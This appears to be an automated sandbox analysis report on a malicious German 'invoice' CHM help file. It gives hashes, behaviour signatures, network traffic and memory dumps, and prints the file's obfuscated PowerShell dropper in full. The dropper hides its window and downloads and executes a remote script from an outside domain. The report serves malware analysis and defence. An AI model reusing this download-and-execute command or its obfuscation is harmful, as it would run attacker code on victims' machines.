0710eabb964125f65e2ea8587585b1883ce98641ce4da8db46eddc404f8cfa6c

General

Target

RECHNUNG.chm
Size

14KB
MD5

498b61349a8668cae80d468b348abb9d
SHA1

603d0fdba865ad02eef0c96462be6d97d431e7ac
SHA256

e268f2982e14d363e7f7874696d231701234d4b426c3a1bef7271cc0bf766706
SHA512

e4281b3210518e2ea965e5d63a070f2eec89ea1d37b9c0d9d65023ec457570b30ab4092e888e75f53797a33143e5bbcdf8ec2845d3176f8bfae02674e126665f
SSDEEP

192:Nco/1QY0OXlb3iQbZaEaJT5cC+aRWTwY2TZhYj1HhIUb:Ncodln53HZ/aLWa0MY21YIc

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

1
# powershell snippet 0
2
$t0 = "IEx"
3
set-alias p "IEx"
4
"Continue" = "SilentlyContinue"
5
$t56fg = 
6
(toobject, [system.net.securityprotocoltype], 3072)
7
[system.net.servicepointmanager]::securityprotocol = $t56fg
8
"[void] [System.Reflection.Assembly]::LoadWithPartialName('Microsoft.VisualBasic')"|invoke-expression
9
({$ping = test-connection -comp google.com -count 1 -quiet   "", $tty = "(New-Object Net.WebClient)"|invoke-expression, $mv = $tty.downloadstring("https://meyeks.com.tr/hala.txt")|invoke-expression})
10
11
# powershell snippet 1
12
[void][system.reflection.assembly]::loadwithpartialname("Microsoft.VisualBasic")
13
14
# powershell snippet 2
15
new-object net.webclient
16

URLs

ps1.dropper

https://meyeks.com.tr/hala.txt

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
5	1440	powershell.exe

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Main	hh.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1440	powershell.exe

Suspicious use of AdjustPrivilegeToken 21 IoCs

description	pid	Process
Token: SeDebugPrivilege	1440	powershell.exe
Token: SeIncreaseQuotaPrivilege	1440	powershell.exe
Token: SeSecurityPrivilege	1440	powershell.exe
Token: SeTakeOwnershipPrivilege	1440	powershell.exe
Token: SeLoadDriverPrivilege	1440	powershell.exe
Token: SeSystemProfilePrivilege	1440	powershell.exe
Token: SeSystemtimePrivilege	1440	powershell.exe
Token: SeProfSingleProcessPrivilege	1440	powershell.exe
Token: SeIncBasePriorityPrivilege	1440	powershell.exe
Token: SeCreatePagefilePrivilege	1440	powershell.exe
Token: SeBackupPrivilege	1440	powershell.exe
Token: SeRestorePrivilege	1440	powershell.exe
Token: SeShutdownPrivilege	1440	powershell.exe
Token: SeDebugPrivilege	1440	powershell.exe
Token: SeSystemEnvironmentPrivilege	1440	powershell.exe
Token: SeRemoteShutdownPrivilege	1440	powershell.exe
Token: SeUndockPrivilege	1440	powershell.exe
Token: SeManageVolumePrivilege	1440	powershell.exe
Token: 33	1440	powershell.exe
Token: 34	1440	powershell.exe
Token: 35	1440	powershell.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
1048	hh.exe
1048	hh.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1048 wrote to memory of 1440	1048	hh.exe	28
PID 1048 wrote to memory of 1440	1048	hh.exe	28
PID 1048 wrote to memory of 1440	1048	hh.exe	28

C:\Windows\hh.exe
"C:\Windows\hh.exe" C:\Users\Admin\AppData\Local\Temp\RECHNUNG.chm
1⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1048
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle hidden $t0='DE5'.replace('D','I').replace('5','x');sal P $t0;$ErrorActionPreference = 'SilentlyContinue';$t56fg = [Enum]::ToObject([System.Net.SecurityProtocolType], 3072);[System.Net.ServicePointManager]::SecurityProtocol = $t56fg;'[void' + '] [Syst' + 'em.Refle' + 'ction.Asse' + 'mbly]::LoadWi' + 'thPartialName(''Microsoft.VisualBasic'')'|P;do {$ping = test-connection -comp google.com -count 1 -Quiet} until ($ping);$tty='(New-'+'Obje'+'ct Ne'+'t.We'+'bCli'+'ent)'|P;$mv= [Microsoft.VisualBasic.Interaction]::CallByname($tty,'Down' + 'load' + 'Str' + 'ing',[Microsoft.VisualBasic.CallType]::Method,'https' + '://meyeks.com.tr/hala.txt')|P
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1440

Network

DNS

google.com

Remote address:

8.8.8.8:53

Request

google.com

IN A

Response

google.com

IN A

142.250.179.142
DNS

meyeks.com.tr

powershell.exe

Remote address:

8.8.8.8:53

Request

meyeks.com.tr

IN A

Response

meyeks.com.tr

IN A

31.210.74.154
GET

https://meyeks.com.tr/hala.txt

powershell.exe

Remote address:

31.210.74.154:443

Request

GET /hala.txt HTTP/1.1
Host: meyeks.com.tr
Connection: Keep-Alive

Response

HTTP/1.1 404 Not Found

Cache-Control: private, no-cache, no-store, must-revalidate, max-age=0
Pragma: no-cache
Content-Type: text/html
Content-Length: 1148
Date: Tue, 18 Oct 2022 21:35:55 GMT
Server: LiteSpeed
Alt-Svc: quic=":443"; ma=2592000; v="35,39,43,44"
Connection: Keep-Alive

31.210.74.154:443

https://meyeks.com.tr/hala.txt

tls, http

powershell.exe

708 B
5.2kB
8
8

HTTP Request

GET https://meyeks.com.tr/hala.txt

HTTP Response

404

8.8.8.8:53

google.com

dns

56 B
72 B
1
1

DNS Request

google.com

DNS Response

142.250.179.142
8.8.8.8:53

meyeks.com.tr

dns

powershell.exe

59 B
75 B
1
1

DNS Request

meyeks.com.tr

DNS Response

31.210.74.154

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/1048-54-0x000007FEFC281000-0x000007FEFC283000-memory.dmp

Filesize
8KB

Download
memory/1440-58-0x000007FEEDAC0000-0x000007FEEE61D000-memory.dmp

Filesize
11.4MB

Download
memory/1440-59-0x000000001B720000-0x000000001BA1F000-memory.dmp

Filesize
3.0MB

Download
memory/1440-60-0x00000000023B4000-0x00000000023B7000-memory.dmp

Filesize
12KB

Download
memory/1440-61-0x00000000023BB000-0x00000000023DA000-memory.dmp

Filesize
124KB

Download
memory/1440-62-0x00000000023B4000-0x00000000023B7000-memory.dmp

Filesize
12KB

Download
memory/1440-63-0x00000000023BB000-0x00000000023DA000-memory.dmp

Filesize
124KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

HTTP Request

HTTP Response

DNS Request

DNS Response